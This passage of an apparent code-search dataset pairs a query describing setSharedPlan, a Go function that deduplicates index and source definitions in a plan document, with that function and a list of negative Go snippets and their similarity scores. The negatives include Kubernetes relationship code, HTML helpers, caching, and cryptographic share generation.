\\\"RuntimeClass\\\":\\n\\t\\t\\trmap, err = getRuntimeClassRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for runtimeclass named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on ClusterRole relationships\\n\\t\\tcase node.Group == rbacv1.GroupName && node.Kind == \\\"ClusterRole\\\":\\n\\t\\t\\trmap, err = getClusterRoleRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for clusterrole named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on ClusterRoleBinding relationships\\n\\t\\tcase node.Group == rbacv1.GroupName && node.Kind == \\\"ClusterRoleBinding\\\":\\n\\t\\t\\trmap, err = getClusterRoleBindingRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for clusterrolebinding named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on Role relationships\\n\\t\\tcase node.Group == rbacv1.GroupName && node.Kind == \\\"Role\\\":\\n\\t\\t\\trmap, err = getRoleRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for role named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s: %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on RoleBinding relationships\\n\\t\\tcase node.Group == rbacv1.GroupName && node.Kind == \\\"RoleBinding\\\":\\n\\t\\t\\trmap, err = getRoleBindingRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for rolebinding named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s: %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on CSIStorageCapacity relationships\\n\\t\\tcase node.Group == storagev1beta1.GroupName && node.Kind == \\\"CSIStorageCapacity\\\":\\n\\t\\t\\trmap, err = getCSIStorageCapacityRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for csistoragecapacity named \\\\\\\"%s\\\\\\\": %s: %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on CSINode relationships\\n\\t\\tcase node.Group == storagev1.GroupName && node.Kind == \\\"CSINode\\\":\\n\\t\\t\\trmap, err = getCSINodeRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for csinode named \\\\\\\"%s\\\\\\\": %s: %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on StorageClass relationships\\n\\t\\tcase node.Group == storagev1.GroupName && node.Kind == \\\"StorageClass\\\":\\n\\t\\t\\trmap, err = getStorageClassRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for storageclass named \\\\\\\"%s\\\\\\\": %s: %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on VolumeAttachment relationships\\n\\t\\tcase node.Group == storagev1.GroupName && node.Kind == \\\"VolumeAttachment\\\":\\n\\t\\t\\trmap, err = getVolumeAttachmentRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for volumeattachment named \\\\\\\"%s\\\\\\\": %s: %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tupdateRelationships(node, rmap)\\n\\t}\\n\\n\\t// Create submap containing the provided objects & either their dependencies\\n\\t// or dependents from the global map\\n\\tvar depth uint\\n\\tnodeMap, uidQueue, uidSet := NodeMap{}, []types.UID{}, map[types.UID]struct{}{}\\n\\tfor _, uid := range uids {\\n\\t\\tif node := globalMapByUID[uid]; node != nil {\\n\\t\\t\\tnodeMap[uid] = node\\n\\t\\t\\tuidQueue = append(uidQueue, uid)\\n\\t\\t}\\n\\t}\\n\\tdepth, uidQueue = 0, append(uidQueue, \\\"\\\")\\n\\tfor {\\n\\t\\tif len(uidQueue) <= 1 {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tuid := uidQueue[0]\\n\\t\\tif uid == \\\"\\\" {\\n\\t\\t\\tdepth, uidQueue = depth+1, append(uidQueue[1:], \\\"\\\")\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Guard against possible cycles\\n\\t\\tif _, ok := uidSet[uid]; ok {\\n\\t\\t\\tuidQueue = uidQueue[1:]\\n\\t\\t\\tcontinue\\n\\t\\t} else {\\n\\t\\t\\tuidSet[uid] = struct{}{}\\n\\t\\t}\\n\\n\\t\\tif node := nodeMap[uid]; node != nil {\\n\\t\\t\\t// Allow nodes to keep the smallest depth. For example, if a node has a\\n\\t\\t\\t// depth of 1 & 7 in the relationship tree, we keep 1 so that when\\n\\t\\t\\t// printing the tree with a depth of 2, the node will still be printed\\n\\t\\t\\tif node.Depth == 0 || depth < node.Depth {\\n\\t\\t\\t\\tnode.Depth = depth\\n\\t\\t\\t}\\n\\t\\t\\tdeps := node.GetDeps(depsIsDependencies)\\n\\t\\t\\tdepUIDs, ix := make([]types.UID, len(deps)), 0\\n\\t\\t\\tfor depUID := range deps {\\n\\t\\t\\t\\tnodeMap[depUID] = globalMapByUID[depUID]\\n\\t\\t\\t\\tdepUIDs[ix] = depUID\\n\\t\\t\\t\\tix++\\n\\t\\t\\t}\\n\\t\\t\\tuidQueue = append(uidQueue[1:], depUIDs...)\\n\\t\\t}\\n\\t}\\n\\n\\tklog.V(4).Infof(\\\"Resolved %d deps for %d objects\\\", len(nodeMap)-1, len(uids))\\n\\treturn nodeMap, nil\\n}\",\n \"func (n Nodes) SetIndex(i int, node *Node)\",\n \"func setAttribute(node *html.Node, attrName string, attrValue string) {\\n\\tattrIdx := -1\\n\\n\\tfor i := 0; i < len(node.Attr); i++ {\\n\\t\\tif node.Attr[i].Key == attrName {\\n\\t\\t\\tattrIdx = i\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif attrIdx >= 0 {\\n\\t\\tnode.Attr[attrIdx].Val = attrValue\\n\\t\\treturn\\n\\t}\\n\\n\\tnode.Attr = append(node.Attr, html.Attribute{\\n\\t\\tKey: attrName,\\n\\t\\tVal: attrValue,\\n\\t})\\n}\",\n \"func (c SplitSize) Set(path string, object Object) error {\\n\\tobjectSize := len(object.Data)\\n\\tfor _, child := range c {\\n\\t\\tif objectSize <= child.MaxSize || child.MaxSize == 0 {\\n\\t\\t\\treturn child.Cache.Set(path, object)\\n\\t\\t}\\n\\t}\\n\\n\\t// No cache is large enough to hold this object, but that's ok.\\n\\treturn nil\\n}\",\n \"func SetIds(t *Task) {\\n\\tt.Id = str2md5(t.Name+t.Text)\\n\\t\\n\\tfor _, subTask := range t.SubTasks {\\n\\t\\tSetIds(subTask)\\n\\t}\\n}\",\n \"func (n *node) setValue(value interface{}) bool {\\n\\tif values, ok := value.(*Values); ok {\\n\\t\\treturn n.setValues(values)\\n\\t}\\n\\tchanged := false\\n\\tif n.isSet() {\\n\\t\\tchanged = value != n.value\\n\\t} else {\\n\\t\\tchanged = true\\n\\t}\\n\\tn.value = value\\n\\tn.children = nil\\n\\treturn changed\\n}\",\n \"func (me *TxsdPremiseSequenceChoiceChoicePremiseNumberRangeNumberRangeOccurence) Set(s string) {\\r\\n\\t(*xsdt.Nmtoken)(me).Set(s)\\r\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.55977863","0.5356839","0.5314489","0.53076833","0.53006226","0.52756816","0.51600856","0.5154256","0.51167846","0.5095854","0.5067192","0.50410706","0.49862808","0.49704587","0.49554753","0.4836667","0.4822462","0.4799088","0.47939968","0.47827855","0.4769021","0.47689524","0.4765507","0.47384393","0.4737812","0.47185427","0.4715938","0.46941808","0.4676156","0.46396512","0.4635109","0.46339804","0.46285352","0.46241334","0.4604225","0.46005765","0.45861757","0.4571072","0.4567254","0.45664755","0.45596057","0.45585284","0.45577267","0.45468485","0.45413786","0.45321","0.45289332","0.45284712","0.4518838","0.45077005","0.4506942","0.45054516","0.4502656","0.44863096","0.44845665","0.4479466","0.44724613","0.44687247","0.4467609","0.44673696","0.44629025","0.44519916","0.4446342","0.44407907","0.4430574","0.44288933","0.4427494","0.44129354","0.44116795","0.44116533","0.44070968","0.4403233","0.43957043","0.43875933","0.43875724","0.43681896","0.43681312","0.4366513","0.43652838","0.43560633","0.43498936","0.43426016","0.4341828","0.43403718","0.4337245","0.43365923","0.43355718","0.43303326","0.43280903","0.43229264","0.4322829","0.4321386","0.43208528","0.43074086","0.43020847","0.42990148","0.4298984","0.42987743","0.42950174","0.42922738"],"string":"[\n \"0.55977863\",\n \"0.5356839\",\n \"0.5314489\",\n \"0.53076833\",\n \"0.53006226\",\n \"0.52756816\",\n \"0.51600856\",\n \"0.5154256\",\n \"0.51167846\",\n \"0.5095854\",\n \"0.5067192\",\n \"0.50410706\",\n \"0.49862808\",\n \"0.49704587\",\n \"0.49554753\",\n \"0.4836667\",\n \"0.4822462\",\n \"0.4799088\",\n \"0.47939968\",\n \"0.47827855\",\n \"0.4769021\",\n \"0.47689524\",\n \"0.4765507\",\n \"0.47384393\",\n \"0.4737812\",\n \"0.47185427\",\n \"0.4715938\",\n \"0.46941808\",\n \"0.4676156\",\n \"0.46396512\",\n \"0.4635109\",\n \"0.46339804\",\n \"0.46285352\",\n \"0.46241334\",\n \"0.4604225\",\n \"0.46005765\",\n \"0.45861757\",\n \"0.4571072\",\n \"0.4567254\",\n \"0.45664755\",\n \"0.45596057\",\n \"0.45585284\",\n \"0.45577267\",\n \"0.45468485\",\n \"0.45413786\",\n \"0.45321\",\n \"0.45289332\",\n \"0.45284712\",\n \"0.4518838\",\n \"0.45077005\",\n \"0.4506942\",\n \"0.45054516\",\n \"0.4502656\",\n \"0.44863096\",\n \"0.44845665\",\n \"0.4479466\",\n \"0.44724613\",\n \"0.44687247\",\n \"0.4467609\",\n \"0.44673696\",\n \"0.44629025\",\n \"0.44519916\",\n \"0.4446342\",\n \"0.44407907\",\n \"0.4430574\",\n \"0.44288933\",\n \"0.4427494\",\n \"0.44129354\",\n \"0.44116795\",\n \"0.44116533\",\n \"0.44070968\",\n \"0.4403233\",\n \"0.43957043\",\n \"0.43875933\",\n \"0.43875724\",\n \"0.43681896\",\n \"0.43681312\",\n \"0.4366513\",\n \"0.43652838\",\n \"0.43560633\",\n \"0.43498936\",\n \"0.43426016\",\n \"0.4341828\",\n \"0.43403718\",\n \"0.4337245\",\n \"0.43365923\",\n \"0.43355718\",\n \"0.43303326\",\n \"0.43280903\",\n \"0.43229264\",\n \"0.4322829\",\n \"0.4321386\",\n \"0.43208528\",\n \"0.43074086\",\n \"0.43020847\",\n \"0.42990148\",\n \"0.4298984\",\n \"0.42987743\",\n \"0.42950174\",\n \"0.42922738\"\n]"},"document_score":{"kind":"string","value":"0.6822423"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106143,"cells":{"query":{"kind":"string","value":"setSharedPlan rewrites the set of a planPIndex document by deduplicating repeated index definitions and source definitions."},"document":{"kind":"string","value":"func setSharedPlan(c *CfgMetaKv,\n\tkey string, val []byte, cas uint64) (uint64, error) {\n\tvar shared PlanPIndexesShared\n\n\terr := json.Unmarshal(val, &shared.PlanPIndexes)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tshared.SharedIndexDefs = map[string]*PlanPIndexIndexDef{}\n\tshared.SharedSourceDefs = map[string]*PlanPIndexSourceDef{}\n\n\t// Reduce the planPIndexes by not repeating the shared parts.\n\tfor _, ppi := range shared.PlanPIndexes.PlanPIndexes {\n\t\tppi.Name = \"\"\n\n\t\tif ppi.IndexParams != \"\" {\n\t\t\tk := ppi.IndexType + \"/\" + ppi.IndexName + \"/\" + ppi.IndexUUID\n\t\t\tshared.SharedIndexDefs[k] = &PlanPIndexIndexDef{\n\t\t\t\tIndexParams: ppi.IndexParams,\n\t\t\t}\n\t\t\tppi.IndexParams = \"\"\n\t\t}\n\n\t\tif ppi.SourceParams != \"\" {\n\t\t\tk := ppi.SourceType + \"/\" + ppi.SourceName + \"/\" + ppi.SourceUUID +\n\t\t\t\t\"/\" + ppi.IndexName + \"/\" + ppi.IndexUUID\n\t\t\tshared.SharedSourceDefs[k] = &PlanPIndexSourceDef{\n\t\t\t\tSourceParams: ppi.SourceParams,\n\t\t\t}\n\t\t\tppi.SourceParams = \"\"\n\t\t}\n\t}\n\n\tvalShared, err := json.Marshal(&shared)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn c.setRawLOCKED(key, valShared, cas)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (m *VirtualEndpoint) SetSharedUseServicePlans(value []CloudPcSharedUseServicePlanable)() {\n err := m.GetBackingStore().Set(\"sharedUseServicePlans\", value)\n if err != nil {\n panic(err)\n }\n}","func poolSetIndex(a interface{}, i int) {\n\ta.(*freeClientPoolEntry).index = i\n}","func (c Ctx) SetShared(k string, value interface{}) error {\n\t_, err := c.Ask(`kong.ctx.shared.set`, k, value)\n\treturn err\n}","func (self *SinglePad) SetIndexA(member int) {\n self.Object.Set(\"index\", member)\n}","func (p *PhysicalIndexReader) SetSchema(_ *expression.Schema) {\n\tif p.indexPlan != nil {\n\t\tp.IndexPlans = flattenPushDownPlan(p.indexPlan)\n\t\tswitch p.indexPlan.(type) {\n\t\tcase *PhysicalHashAgg, *PhysicalStreamAgg, *PhysicalProjection:\n\t\t\tp.schema = p.indexPlan.Schema()\n\t\tdefault:\n\t\t\tis := p.IndexPlans[0].(*PhysicalIndexScan)\n\t\t\tp.schema = is.dataSourceSchema\n\t\t}\n\t\tp.OutputColumns = p.schema.Clone().Columns\n\t}\n}","func (s UserSet) SetShare(value bool) {\n\ts.RecordCollection.Set(models.NewFieldName(\"Share\", \"share\"), value)\n}","func (pp *PermuteProtocol) GenShares(sk *ring.Poly, ciphertext *bfv.Ciphertext, crs *ring.Poly, permutation []uint64, share RefreshShare) {\n\n\tlevel := len(ciphertext.Value()[1].Coeffs) - 1\n\n\tringQ := pp.context.ringQ\n\tringT := pp.context.ringT\n\tringQP := pp.context.ringQP\n\n\t// h0 = s*ct[1]\n\tringQ.NTTLazy(ciphertext.Value()[1], pp.tmp1)\n\tringQ.MulCoeffsMontgomeryConstant(sk, pp.tmp1, share.RefreshShareDecrypt)\n\tringQ.InvNTTLazy(share.RefreshShareDecrypt, share.RefreshShareDecrypt)\n\n\t// h0 = s*ct[1]*P\n\tringQ.MulScalarBigint(share.RefreshShareDecrypt, pp.context.ringP.ModulusBigint, share.RefreshShareDecrypt)\n\n\t// h0 = s*ct[1]*P + e\n\tpp.gaussianSampler.ReadLvl(len(ringQP.Modulus)-1, pp.tmp1, ringQP, pp.sigma, int(6*pp.sigma))\n\tringQ.Add(share.RefreshShareDecrypt, pp.tmp1, share.RefreshShareDecrypt)\n\n\tfor x, i := 0, len(ringQ.Modulus); i < len(pp.context.ringQP.Modulus); x, i = x+1, i+1 {\n\t\ttmphP := pp.hP.Coeffs[x]\n\t\ttmp1 := pp.tmp1.Coeffs[i]\n\t\tfor j := 0; j < ringQ.N; j++ {\n\t\t\ttmphP[j] += tmp1[j]\n\t\t}\n\t}\n\n\t// h0 = (s*ct[1]*P + e)/P\n\tpp.baseconverter.ModDownSplitPQ(level, share.RefreshShareDecrypt, pp.hP, share.RefreshShareDecrypt)\n\n\t// h1 = -s*a\n\tringQP.Neg(crs, pp.tmp1)\n\tringQP.NTTLazy(pp.tmp1, pp.tmp1)\n\tringQP.MulCoeffsMontgomeryConstant(sk, pp.tmp1, pp.tmp2)\n\tringQP.InvNTTLazy(pp.tmp2, pp.tmp2)\n\n\t// h1 = s*a + e'\n\tpp.gaussianSampler.ReadAndAdd(pp.tmp2, ringQP, pp.sigma, int(6*pp.sigma))\n\n\t// h1 = (-s*a + e')/P\n\tpp.baseconverter.ModDownPQ(level, pp.tmp2, share.RefreshShareRecrypt)\n\n\t// mask = (uniform plaintext in [0, T-1]) * floor(Q/T)\n\n\t// Mask in the time domain\n\tcoeffs := pp.uniformSampler.ReadNew()\n\n\t// Multiply by Q/t\n\tlift(coeffs, pp.tmp1, pp.context)\n\n\t// h0 = (s*ct[1]*P + e)/P + mask\n\tringQ.Add(share.RefreshShareDecrypt, pp.tmp1, share.RefreshShareDecrypt)\n\n\t// Mask in the spectral domain\n\tringT.NTT(coeffs, coeffs)\n\n\t// Permutation over the mask\n\tpp.permuteWithIndex(coeffs, permutation, pp.tmp1)\n\n\t// Switch back the mask in the time domain\n\tringT.InvNTTLazy(pp.tmp1, coeffs)\n\n\t// Multiply by Q/t\n\tlift(coeffs, pp.tmp1, pp.context)\n\n\t// h1 = (-s*a + e')/P - permute(mask)\n\tringQ.Sub(share.RefreshShareRecrypt, pp.tmp1, share.RefreshShareRecrypt)\n}","func (s *Service) PubShare(c context.Context, pid, aid int64) (err error) {\n\tvar (\n\t\tpls *model.PlStat\n\t\tip = metadata.String(c, metadata.RemoteIP)\n\t)\n\tif pls, err = s.plInfo(c, 0, pid, ip); err != nil {\n\t\treturn\n\t}\n\t//TODO aid in playlist\n\terr = s.cache.Save(func() {\n\t\ts.dao.PubShare(context.Background(), pid, aid, pls.Share)\n\t})\n\treturn\n}","func (t *BenchmarkerChaincode) updateIndex(stub shim.ChaincodeStubInterface, key, indexName string, indexValueSpace [][]string) error {\n\tif indexName == \"\" {\n\t\treturn nil\n\t}\n\n\tvar indexValues []string\n\tfor _, validValues := range indexValueSpace {\n\t\tchoice := rand.Intn(len(validValues))\n\t\tindexValues = append(indexValues, validValues[choice])\n\t}\n\n\tindexKey, err := stub.CreateCompositeKey(indexName+\"~id\", append(indexValues, key))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvalue := []byte{0x00}\n\tif err := stub.PutState(indexKey, value); err != nil {\n\t\treturn err\n\t}\n\tfmt.Printf(\"Set composite key '%s' to '%s' for key '%s'\\n\", indexKey, value, key)\n\n\treturn nil\n}","func (p *PhysicalIndexScan) Clone() (PhysicalPlan, error) {\n\tcloned := new(PhysicalIndexScan)\n\t*cloned = *p\n\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.physicalSchemaProducer = *base\n\tcloned.AccessCondition = util.CloneExprs(p.AccessCondition)\n\tif p.Table != nil {\n\t\tcloned.Table = p.Table.Clone()\n\t}\n\tif p.Index != nil {\n\t\tcloned.Index = p.Index.Clone()\n\t}\n\tcloned.IdxCols = util.CloneCols(p.IdxCols)\n\tcloned.IdxColLens = make([]int, len(p.IdxColLens))\n\tcopy(cloned.IdxColLens, p.IdxColLens)\n\tcloned.Ranges = util.CloneRanges(p.Ranges)\n\tcloned.Columns = util.CloneColInfos(p.Columns)\n\tif p.dataSourceSchema != nil {\n\t\tcloned.dataSourceSchema = p.dataSourceSchema.Clone()\n\t}\n\n\treturn cloned, nil\n}","func (rtg *RTGProtocol) GenShare(sk *rlwe.SecretKey, galEl uint64, crp []*ring.Poly, shareOut *RTGShare) {\n\n\ttwoN := rtg.ringQP.N << 2\n\tgalElInv := ring.ModExp(galEl, int(twoN-1), uint64(twoN))\n\n\tring.PermuteNTT(sk.Value, galElInv, rtg.tmpPoly[1])\n\n\trtg.ringQP.MulScalarBigint(sk.Value, rtg.ringPModulusBigint, rtg.tmpPoly[0])\n\n\tvar index int\n\n\tfor i := 0; i < rtg.beta; i++ {\n\n\t\t// e\n\t\trtg.gaussianSampler.Read(shareOut.Value[i], rtg.ringQP, rtg.sigma, int(6*rtg.sigma))\n\t\trtg.ringQP.NTTLazy(shareOut.Value[i], shareOut.Value[i])\n\t\trtg.ringQP.MForm(shareOut.Value[i], shareOut.Value[i])\n\n\t\t// a is the CRP\n\n\t\t// e + sk_in * (qiBarre*qiStar) * 2^w\n\t\t// (qiBarre*qiStar)%qi = 1, else 0\n\t\tfor j := 0; j < rtg.alpha; j++ {\n\n\t\t\tindex = i*rtg.alpha + j\n\n\t\t\tqi := rtg.ringQP.Modulus[index]\n\t\t\ttmp0 := rtg.tmpPoly[0].Coeffs[index]\n\t\t\ttmp1 := shareOut.Value[i].Coeffs[index]\n\n\t\t\tfor w := 0; w < rtg.ringQP.N; w++ {\n\t\t\t\ttmp1[w] = ring.CRed(tmp1[w]+tmp0[w], qi)\n\t\t\t}\n\n\t\t\t// Handles the case where nb pj does not divides nb qi\n\t\t\tif index >= rtg.ringQModCount {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// sk_in * (qiBarre*qiStar) * 2^w - a*sk + e\n\t\trtg.ringQP.MulCoeffsMontgomeryAndSub(crp[i], rtg.tmpPoly[1], shareOut.Value[i])\n\t}\n\n\trtg.tmpPoly[0].Zero()\n\trtg.tmpPoly[1].Zero()\n\n\treturn\n}","func setSharedRepoSQL(readDB, writeDB *sql.DB) {\n\tglobalRepoSQL = NewRepositorySQL(readDB, writeDB, nil)\n}","func (m *RecurrencePattern) SetIndex(value *WeekIndex)() {\n m.index = value\n}","func (vars *shared) SetSharedVar(n, v string) error {\n\tvars.Lock()\n\tdefer vars.Unlock()\n\tvars.vars[n] = v\n\treturn nil\n}","func (p *PhysicalIndexReader) Clone() (PhysicalPlan, error) {\n\tcloned := new(PhysicalIndexReader)\n\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.physicalSchemaProducer = *base\n\tif cloned.indexPlan, err = p.indexPlan.Clone(); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.IndexPlans, err = clonePhysicalPlan(p.IndexPlans); err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.OutputColumns = util.CloneCols(p.OutputColumns)\n\treturn cloned, err\n}","func (op *ListSharedAccessOp) Shared(val string) *ListSharedAccessOp {\n\tif op != nil {\n\t\top.QueryOpts.Set(\"shared\", val)\n\t}\n\treturn op\n}","func (m *ScheduleRequestBuilder) Share()(*i2547a7f1d67b3d63ac7cd6ad852788ce52638547a6ec23de203e52fa44a92944.ShareRequestBuilder) {\n return i2547a7f1d67b3d63ac7cd6ad852788ce52638547a6ec23de203e52fa44a92944.NewShareRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}","func (access ColumnAccess) SharedIndex(localIndex int) int {\n return access.indices[localIndex]\n}","func (m *Planner) SetPlans(value []PlannerPlanable)() {\n m.plans = value\n}","func (ei ei) Share(cfg upspin.Config, readers []upspin.PublicKey, packdata []*[]byte) {\n}","func (m *BusinessScenarioPlanner) SetPlanConfiguration(value PlannerPlanConfigurationable)() {\n err := m.GetBackingStore().Set(\"planConfiguration\", value)\n if err != nil {\n panic(err)\n }\n}","func indexWrite(key string, p *pkg) {\n\tlocker.Lock()\n\tdefer locker.Unlock()\n\n\tindexedPkgs[key] = p\n}","func (pm *PathMap) _markShared() {\n\t// We make use of the fact that pm.shared is made true only via this\n\t// function, and that it is never reset to false (In new snapshots it\n\t// will be false of course). In particular, if pm.shared is already\n\t// true, there is no need to recurse.\n\tif !pm.shared {\n\t\tpm.shared = true\n\t\tfor _, v := range pm.dirs {\n\t\t\tv._markShared()\n\t\t}\n\t}\n}","func (m *VirtualEndpoint) SetServicePlans(value []CloudPcServicePlanable)() {\n err := m.GetBackingStore().Set(\"servicePlans\", value)\n if err != nil {\n panic(err)\n }\n}","func (b *B) SetParallelism(p int)","func SetIndexPageSize(dbo Database, pageSize int) error {\n\tdb := dbo.(*database)\n\tsql := db.getRawDB()\n\t_, err := sql.Exec(`insert into fts(fts, rank) values(\"pgsz\", ?)`, pageSize)\n\treturn err\n}","func (mc *MomentClient) Share(db DbRunnerTrans, s *SharesRow, rs []*RecipientsRow) (err error) {\n\tif len(rs) == 0 || s == nil {\n\t\tError.Println(ErrorParameterEmpty)\n\t\terr = ErrorParameterEmpty\n\t\treturn\n\t}\n\n\ttx, err := db.Begin()\n\tif err != nil {\n\t\tError.Println(err)\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif txerr := tx.Rollback(); txerr != nil {\n\t\t\t\tError.Println(txerr)\n\t\t\t}\n\t\t\tError.Println(err)\n\t\t\treturn\n\t\t}\n\t\ttx.Commit()\n\t}()\n\n\tid, err := insert(tx, s)\n\tif err != nil {\n\t\tError.Println(err)\n\t}\n\ts.sharesID = id\n\n\tfor _, r := range rs {\n\t\tr.setSharesID(id)\n\t\tif err = r.err; err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tif _, err = insert(tx, rs); err != nil {\n\t\treturn\n\t}\n\treturn\n}","func (s UserSet) SetPartnerShare(value bool) {\n\ts.RecordCollection.Set(models.NewFieldName(\"PartnerShare\", \"partner_share\"), value)\n}","func GoShareEngine(config Config) {\n\truntime.GOMAXPROCS(runtime.NumCPU())\n\n\t// remember it will be same DB instance shared across goshare package\n\tdb = abkleveldb.CreateDB(*config[\"dbpath\"])\n\tif *config[\"cpuprofile\"] != \"\" {\n\t\tf, err := os.Create(*config[\"cpuprofile\"])\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tpprof.StartCPUProfile(f)\n\t\tgo func() {\n\t\t\ttime.Sleep(100 * time.Second)\n\t\t\tpprof.StopCPUProfile()\n\t\t}()\n\t}\n\n\t_httpport, err_httpport := strconv.Atoi(*config[\"httpport\"])\n\t_req_port, err_req_port := strconv.Atoi(*config[\"req_port\"])\n\t_rep_port, err_rep_port := strconv.Atoi(*config[\"rep_port\"])\n\tif err_httpport == nil && err_rep_port == nil && err_req_port == nil {\n\t\tgo GoShareHTTP(*config[\"httpuri\"], _httpport)\n\t\tgo GoShareZMQ(_req_port, _rep_port)\n\t} else {\n\t\tgolerror.Boohoo(\"Port parameters to bind, error-ed while conversion to number.\", true)\n\t}\n}","func recalculateIndexerSize(plan *Plan) {\n\n\tsizing := newMOISizingMethod()\n\n\tfor _, indexer := range plan.Placement {\n\t\tfor _, index := range indexer.Indexes {\n\t\t\tsizing.ComputeIndexSize(index)\n\t\t}\n\t}\n\n\tfor _, indexer := range plan.Placement {\n\t\tsizing.ComputeIndexerSize(indexer)\n\t}\n}","func (evsq *ExValueScanQuery) ForShare(opts ...sql.LockOption) *ExValueScanQuery {\n\tif evsq.driver.Dialect() == dialect.Postgres {\n\t\tevsq.Unique(false)\n\t}\n\tevsq.modifiers = append(evsq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn evsq\n}","func ExampleShareSubscriptionsClient_NewListSourceShareSynchronizationSettingsPager() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armdatashare.NewClientFactory(\"\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tpager := clientFactory.NewShareSubscriptionsClient().NewListSourceShareSynchronizationSettingsPager(\"SampleResourceGroup\", \"Account1\", \"ShareSub1\", &armdatashare.ShareSubscriptionsClientListSourceShareSynchronizationSettingsOptions{SkipToken: nil})\n\tfor pager.More() {\n\t\tpage, err := pager.NextPage(ctx)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"failed to advance page: %v\", err)\n\t\t}\n\t\tfor _, v := range page.Value {\n\t\t\t// You could use page here. We use blank identifier for just demo purposes.\n\t\t\t_ = v\n\t\t}\n\t\t// If the HTTP response code is 200 as defined in example definition, your page structure would look as follows. Please pay attention that all the values in the output are fake values for just demo purposes.\n\t\t// page.SourceShareSynchronizationSettingList = armdatashare.SourceShareSynchronizationSettingList{\n\t\t// \tValue: []armdatashare.SourceShareSynchronizationSettingClassification{\n\t\t// \t\t&armdatashare.ScheduledSourceSynchronizationSetting{\n\t\t// \t\t\tKind: to.Ptr(armdatashare.SourceShareSynchronizationSettingKindScheduleBased),\n\t\t// \t\t\tProperties: &armdatashare.ScheduledSourceShareSynchronizationSettingProperties{\n\t\t// \t\t\t\tRecurrenceInterval: to.Ptr(armdatashare.RecurrenceIntervalHour),\n\t\t// \t\t\t\tSynchronizationTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, \"2019-03-15T19:45:58Z\"); return t}()),\n\t\t// \t\t\t},\n\t\t// \t}},\n\t\t// }\n\t}\n}","func (i Index) Set(sourceID string, id int, table string, record *Record) {\n\tinfo := RecordInfo{\n\t\tID: id,\n\t\tTable: table,\n\t\tRecord: record,\n\t}\n\n\tsourceID = strings.ToLower(sourceID)\n\tsourceID = 